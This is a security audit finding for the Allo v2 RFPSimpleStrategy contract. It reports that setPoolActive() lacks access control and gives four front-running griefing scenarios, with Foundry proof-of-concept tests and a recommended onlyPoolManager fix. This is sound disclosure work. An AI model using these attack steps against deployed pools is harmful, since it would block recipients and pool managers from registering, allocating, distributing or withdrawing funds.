Macho Maroon Scorpion

high

# Anyone can set the status of the pool in `RFPSimpleStrategy#setPoolActive()` to grief the system.
## Summary
The function `RFPSimpleStrategy#setPoolActive()` lacks access controls, enabling any individual to toggle the pool's status between open and closed. This vulnerability can be exploited to disrupt the system and potentially grief its users.

## Vulnerability Detail

The function `setPoolActive(bool)` is an `external` function that could close or open the pool and is meant to be called by the pool owner or manager. 

**Pool Must Be Active:**
- **Internal Functions:**
  1. `_registerRecipient()`: This function registers a recipient, which should only be possible when the pool is active.
  2. `_allocate()`: This function selects a recipient for the RFP allocation, again only possible when the pool is active.

**Pool Must Be Inactive:**
- **Internal Functions:**
  1. `_distribute()`:  Distribute the upcoming milestone to `acceptedRecipientId` , which should only be possible when the pool is inactive. 
  
- **External Functions:**
  1. `withdraw()`: Allows the pool manager to withdraw the funds, which is only possible when the pool is inactive. 


For illustration, let's see how the the system can be griefed for all the above transactions:
- `Bob` is a pool manager responsible for overseeing the funds and ensuring their proper distribution.
- `Alice` is a deserving recipient who has submitted her milestones and is awaiting her funds.
- `Vicky` is a nefarious player in this scenario. She spots a vulnerability in the system: the function `setPoolActive(bool)` lacks proper access controls, potentially allowing anyone, including her, to exploit this oversight.

Attack#1 (Registration Griefing): Alice starts a transaction to register as a recipient in a pool. Sensing an opportunity from a vulnerability, Vicky intervenes. She front-runs Alice's transaction, deactivating the pool. Consequently, Alice's attempt to register as a recipient fails.

**Attack#2 (Allocation Griefing)**: `Bob` initiates the process to allocate funds to `Alice`. However, due to the vulnerability spotted by `Vicky`, she takes advantage. Before `Bob's` transaction is confirmed, `Vicky` front-runs it to execute her own transaction, thereby shutting down the pool. As a result, the intended allocation of funds to `Alice` gets disrupted, causing undue grief in the process of allocation of funds.

**Attack#3 (Distribution Griefing)**: Or if `Bob` gears up to distribute funds to `Alice`, `Vicky` spots an opportunity to exploit the system once more. This time, she front-runs `Bob`'s transaction, preemptively opening the pool. Because of this unexpected move, `Bob` finds himself unable to distribute the intended funds to `Alice`, further complicating the fund allocation process.

**Attack#4 (Withdraw Griefing)** :  Or if `Bob` attempts to withdraw the funds from the pool, `Vicky` can exploit the system by front-running `Bob's` transaction, to activate the pool. 


https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219

## Impact
Any pools employing the RFP strategy could face severe disruptions. This vulnerability may lead to widespread griefing, potentially bringing the entire system to a standstill.

## Code Snippet

```solidity


    function testRevert_AnyoneCanCallSetPool() public {
        vm.prank(profile1_notAMember());
        strategy.setPoolActive(true);
        assertTrue(strategy.isPoolActive());

        vm.prank(profile1_notAMember());
        strategy.setPoolActive(false);
        assertFalse(strategy.isPoolActive());
    }


    function testAttack1_Registration_Griefing() public {
        address sender = recipient();
        Metadata memory metadata = Metadata({protocol: 1, pointer: "metadata"});
        bytes memory data = abi.encode(recipientAddress(), false, 1e18, metadata);

       //Front running transaction to deactivate the pool
        vm.prank(profile1_notAMember());
        strategy.setPoolActive(false);
        assertFalse(strategy.isPoolActive());

        vm.expectRevert(POOL_INACTIVE.selector);
        vm.prank(address(allo()));
        strategy.registerRecipient(data, recipient());
    }


    function testAttack2_Allocation_griefed() public {
        address recipientId = __register_setMilestones();
        //Front running transaction to deactivate the pool
        vm.prank(profile1_notAMember());
        strategy.setPoolActive(false);
        assertFalse(strategy.isPoolActive());
        vm.expectRevert(POOL_INACTIVE.selector);
        vm.prank(address(allo()));
        strategy.allocate(abi.encode(recipientId), address(pool_admin()));
    }
    
        function testAttack3_Distribution_Griefing() public {
        address recipientId = __register_setMilestones_allocate();
        vm.deal(pool_admin(), 1e19);
        vm.prank(pool_admin());
        allo().fundPool{value: 1e19}(poolId, 1e19);

        //Front running transaction to activate the pool
        vm.prank(profile1_notAMember());
        strategy.setPoolActive(true);
        assertTrue(strategy.isPoolActive());


        vm.expectRevert(POOL_ACTIVE.selector);
        vm.prank(address(allo()));
        strategy.distribute(new address[](0), "", pool_admin());
    }
    
    function testAttack4_Withdraw_Griefing() public {
        allo().fundPool{value: 1e18}(poolId, 1e18);
     
        //Front running transaction to activate the pool
        vm.prank(profile1_notAMember());
        strategy.setPoolActive(true);
        assertTrue(strategy.isPoolActive());

        vm.startPrank(pool_admin());
        vm.expectRevert(POOL_ACTIVE.selector);
        strategy.withdraw(9.9e17); // 1e18 - 1e17 fee = 9.9e17
        assertEq(address(allo()).balance, 0);
        vm.stopPrank();
    }

    //Internal test functions
    function __setMilestones() internal {
        RFPSimpleStrategy.Milestone[] memory milestones = new RFPSimpleStrategy.Milestone[](2);
        RFPSimpleStrategy.Milestone memory milestone = RFPSimpleStrategy.Milestone({
            metadata: Metadata({protocol: 1, pointer: "metadata"}),
            amountPercentage: 7e17,
            milestoneStatus: IStrategy.Status.Pending
        });
        RFPSimpleStrategy.Milestone memory milestone2 = RFPSimpleStrategy.Milestone({
            metadata: Metadata({protocol: 1, pointer: "metadata"}),
            amountPercentage: 3e17,
            milestoneStatus: IStrategy.Status.Pending
        });

        milestones[0] = milestone;
        milestones[1] = milestone2;

        vm.prank(address(pool_admin()));
        vm.expectEmit();
        emit MilestonesSet();
        strategy.setMilestones(milestones);
    }

    function __register_setMilestones() internal returns (address recipientId) {
        recipientId = __register_recipient();
        __setMilestones();
    }

```
## Tool used

Foundry
VS Code

## Recommendation
Consider implementing the access control as described in the natspec comment for `RFPSimpleStrategy#setPoolActive()`. This will ensure that the `msg.sender` is genuinely the pool owner or manager, thus preventing unauthorized or unintended callers from manipulating the function.

```solidity
    /// @notice Toggle the status between active and inactive.
    /// @dev 'msg.sender' must be a pool manager to close the pool. Emits a 'PoolActive()' event.
    /// @param _flag The flag to set the pool to active or inactive
  // @audit `onlyPoolManager(msg.sender)` function modifier applied
    function setPoolActive(bool _flag) external  onlyPoolManager(msg.sender){
        _setPoolActive(_flag);
        emit PoolActive(_flag);
    }
```